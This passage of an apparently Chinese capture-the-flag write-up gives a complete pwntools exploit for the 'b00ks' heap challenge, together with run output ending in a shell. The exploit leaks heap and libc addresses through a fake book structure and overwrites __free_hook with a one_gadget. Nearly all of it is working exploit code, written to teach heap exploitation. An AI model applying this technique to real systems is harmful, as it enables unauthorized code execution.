  2. [+] Starting local process './b00ks': pid 4879
  3. [*] book2 address: 0x562341a04160
  4. [*] libc address: 0x7f87e9425000
  5. [*] Switching to interactive mode
  6. $ whoami
  7. firmy

exploit

完整的 exp 如下:

  1. #!/usr/bin/env python
  2. from pwn import *
  3. #context.log_level = 'debug'
  4. io = process(['./b00ks'], env={'LD_PRELOAD':'./libc-2.23.so'})
  5. libc = ELF('libc-2.23.so')
  6. def Create(nsize, name, dsize, desc):
  7. io.sendlineafter("> ", '1')
  8. io.sendlineafter("name size: ", str(nsize))
  9. io.sendlineafter("name (Max 32 chars): ", name)
  10. io.sendlineafter("description size: ", str(dsize))
  11. io.sendlineafter("description: ", desc)
  12. def Delete(idx):
  13. io.sendlineafter("> ", '2')
  14. io.sendlineafter("delete: ", str(idx))
  15. def Edit(idx, desc):
  16. io.sendlineafter("> ", '3')
  17. io.sendlineafter("edit: ", str(idx))
  18. io.sendlineafter("description: ", desc)
  19. def Print():
  20. io.sendlineafter("> ", '4')
  21. def Change(name):
  22. io.sendlineafter("> ", '5')
  23. io.sendlineafter("name: ", name)
  24. def leak_heap():
  25. global book2_addr
  26. io.sendlineafter("name: ", "A" * 0x20)
  27. Create(0xd0, "AAAA", 0x20, "AAAA") # book1
  28. Create(0x21000, "AAAA", 0x21000, "AAAA") # book2
  29. Print()
  30. io.recvuntil("A"*0x20)
  31. book1_addr = u64(io.recvn(6).ljust(8, "\x00"))
  32. book2_addr = book1_addr + 0x30
  33. log.info("book2 address: 0x%x" % book2_addr)
  34. def leak_libc():
  35. global libc_base
  36. fake_book = p64(1) + p64(book2_addr + 0x8) * 2 + p64(0x20)
  37. Edit(1, fake_book)
  38. Change("A" * 0x20)
  39. Print()
  40. io.recvuntil("Name: ")
  41. leak_addr = u64(io.recvn(6).ljust(8, "\x00"))
  42. libc_base = leak_addr - 0x5ca010 # mmap_addr - libc_base
  43. log.info("libc address: 0x%x" % libc_base)
  44. def overwrite():
  45. free_hook = libc.symbols['__free_hook'] + libc_base
  46. one_gadget = libc_base + 0x4526a
  47. fake_book = p64(free_hook) * 2
  48. Edit(1, fake_book)
  49. fake_book = p64(one_gadget)
  50. Edit(2, fake_book)
  51. def pwn():
  52. Delete(2)
  53. io.interactive()
  54. if __name__ == "__main__":
  55. leak_heap()
  56. leak_libc()
  57. overwrite()
  58. pwn()

参考资料